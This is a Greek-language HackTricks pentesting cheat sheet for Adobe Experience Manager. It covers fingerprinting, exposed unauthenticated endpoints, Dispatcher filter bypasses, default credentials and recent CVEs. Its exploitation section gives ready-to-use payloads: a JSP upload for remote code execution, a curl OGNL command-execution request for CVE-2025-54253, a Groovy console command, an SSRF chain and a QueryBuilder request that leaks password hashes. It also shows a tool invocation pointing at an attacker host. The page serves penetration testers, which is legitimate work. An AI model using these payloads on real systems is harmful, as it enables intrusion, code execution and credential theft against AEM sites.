AEM (Adobe Experience Manager) Pentesting
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) είναι ένα enterprise CMS που τρέχει πάνω σε Apache Sling/Felix (OSGi) και σε ένα Java Content Repository (JCR). Από την προοπτική ενός attacker, οι AEM instances πολύ συχνά εκθέτουν επικίνδυνα development endpoints, αδύναμους κανόνες Dispatcher, default credentials και μια μεγάλη λίστα CVEs που επιδιορθώνονται κάθε τρίμηνο.
The checklist below focuses on externally reachable (unauth) attack surface that keeps showing up in real engagements (2022-2026).
1. Fingerprinting
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
Άλλα γρήγορα σημάδια:
/etc.clientlibs/στατικό path παρόν (επιστρέφει JS/CSS)./libs/granite/core/content/login.htmlσελίδα login με banner “Adobe Experience Manager”.</script><!--/* CQ */-->σχόλιο στο κάτω μέρος του HTML.
2. Υψηλής αξίας μη αυθεντικοποιημένα endpoints
| Path | Τι παίρνετε | Σημειώσεις |
|---|---|---|
/.json, /.1.json | JCR nodes via DefaultGetServlet | Συχνά μπλοκάρεται, αλλά Dispatcher bypass (βλέπε παρακάτω) λειτουργεί. |
/bin/querybuilder.json?path=/ | QueryBuilder API | Leak του page tree, εσωτερικά paths, ονόματα χρηστών. |
/system/console/status-*, /system/console/bundles | OSGi/Felix console | 403 από προεπιλογή; αν εκτεθεί & βρεθούν creds ⇒ bundle-upload RCE. |
/crx/packmgr/index.jsp | Package Manager | Επιτρέπει authenticated content packages → ανέβασμα JSP payload. |
/etc/groovyconsole/** | AEM Groovy Console | Αν εκτεθεί → αυθαίρετη εκτέλεση Groovy / Java. |
/libs/cq/AuditlogSearchServlet.json | Audit logs | Αποκάλυψη πληροφοριών. |
/libs/cq/ui/content/dumplibs.html | ClientLibs dump | XSS vector. |
/adminui/debug | AEM Forms on JEE Struts dev-mode OGNL evaluator | Σε λανθασμένα διαμορφωμένες εγκαταστάσεις του Forms (CVE-2025-54253) αυτό το endpoint εκτελεί μη-αυθεντικοποιημένο OGNL → RCE. |
Dispatcher bypass tricks (still working in 2025/2026)
Οι περισσότερες production sites βρίσκονται πίσω από τον Dispatcher (reverse-proxy). Κανόνες φιλτραρίσματος συχνά παρακάμπτονται κακοποιώντας κωδικοποιημένους χαρακτήρες ή επιτρεπτές στατικές επεκτάσεις.
Classic semicolon + allowed extension
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
Encoded slash bypass (2025 KB ka-27832)
GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1
Εάν ο Dispatcher επιτρέπει encoded slashes, αυτό επιστρέφει JSON ακόμη και όταν το /bin υποτίθεται ότι είναι απαγορευμένο.
3. Common misconfigurations (still alive in 2026)
- Anonymous POST servlet –
POST /.jsonwith:operation=importσας επιτρέπει να δημιουργήσετε νέα JCR κόμβους. Ο αποκλεισμός*.jsonPOST στον Dispatcher το διορθώνει. - World-readable user profiles – το προεπιλεγμένο ACL χορηγεί
jcr:readστο/home/users/**/profile/*σε όλους. - Default credentials –
admin:admin,author:author,replication:replication. - WCMDebugFilter enabled ⇒ reflected XSS via
?debug=layout(CVE-2016-7882, ακόμα εντοπίζεται σε παλαιές εγκαταστάσεις 6.4). - Groovy Console exposed – remote code execution με την αποστολή ενός Groovy script:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
- Dispatcher encoded-slash gap –
/bin/querybuilder.jsonand/etc/truststore.jsonπροσβάσιμα με%2f/%3Bακόμα και όταν αποκλείονται από τα path filters. - AEM Forms Struts devMode left enabled –
/adminui/debug?expression=αξιολογεί OGNL χωρίς auth (CVE-2025-54253) οδηγώντας σε unauth RCE; σε συνδυασμό XXE στην υποβολή Forms (CVE-2025-54254) επιτρέπει ανάγνωση αρχείων.
4. Πρόσφατες ευπάθειες (service-pack cadence)
| Ημερομηνία | CVE / Bulletin | Επηρεαζόμενα | Επίπτωση |
|---|---|---|---|
| Dec 2025 | APSB25-115, CVE-2025-64537/64539 | 6.5.24 & earlier, Cloud 2025.12 | Multiple critical/stored XSS → code execution via author UI. |
| Sep 2025 | APSB25-90 | 6.5.23 & earlier | Security feature bypass chain (Dispatcher auth checker) – upgrade to 6.5.24/Cloud 2025.12. |
| Aug 2025 | CVE-2025-54253 / 54254 (AEM Forms JEE) | Forms 6.5.23.0 and earlier | DevMode OGNL RCE + XXE file read, unauthenticated. |
| Jun 2025 | APSB25-48 | 6.5.23 & earlier | Stored XSS and privilege escalation in Communities components. |
| Dec 2024 | APSB24-69 (rev. Mar 2025 adds CVE-2024-53962…74) | 6.5.22 & earlier | DOM/Stored XSS, αυθαίρετη εκτέλεση κώδικα (χαμηλά προνόμια). |
| Dec 2023 | APSB23-72 | ≤ 6.5.18 | DOM-based XSS μέσω ειδικά διαμορφωμένου URL. |
Ελέγχετε πάντα το APSB bulletin που αντιστοιχεί στο service-pack του πελάτη και πιέστε για την πιο πρόσφατη 6.5.24 (Nov 26, 2025) ή Cloud Service 2025.12. Το AEM Forms σε JEE απαιτεί το δικό του add-on hotfix 6.5.0-0108+.
5. Αποσπάσματα εκμετάλλευσης
5.1 RCE via dispatcher bypass + JSP upload
Αν το anonymous write είναι δυνατό:
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
Τώρα κάντε αίτημα στο /content/evil.jsp – το JSP εκτελείται με τον χρήστη διεργασίας του AEM.
5.2 SSRF to RCE (παλαιότερες < 6.3)
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
aem_ssrf2rce.py από το aem-hacker αυτοματοποιεί ολόκληρη την αλυσίδα.
5.3 OGNL RCE στο AEM Forms JEE (CVE-2025-54253)
# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"
Αν είναι ευάλωτο, το HTTP body περιέχει το command output.
5.4 QueryBuilder hash disclosure (encoded slash bypass)
GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1
Επιστρέφει κόμβους χρήστη που περιλαμβάνουν rep:password hashes όταν τα anonymous read ACLs είναι προεπιλεγμένα.
6. Εργαλεία
- aem-hacker – πολυδύναμο enumeration script, υποστηρίζει dispatcher bypass, SSRF detection, default-creds checks και άλλα.
python3 aem_hacker.py -u https://target --host attacker-ip
- Tenable WAS plugin 115065 – Εντοπίζει QueryBuilder hash disclosure & encoded-slash bypass αυτόματα (δημοσιεύθηκε Δεκ 2025).
- Content brute-force – Πραγματοποιήστε αναδρομικά αιτήσεις στο
/_jcr_content.(json|html)για να ανακαλύψετε κρυφά components. - osgi-infect – ανεβάζει κακόβουλο OSGi bundle μέσω
/system/console/bundlesαν υπάρχουν creds.
Αναφορές
- Adobe Security Bulletin APSB25-115 – Security updates for Adobe Experience Manager (Dec 9, 2025)
- BleepingComputer – Adobe issues emergency fixes for AEM Forms zero-days (Aug 5, 2025)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


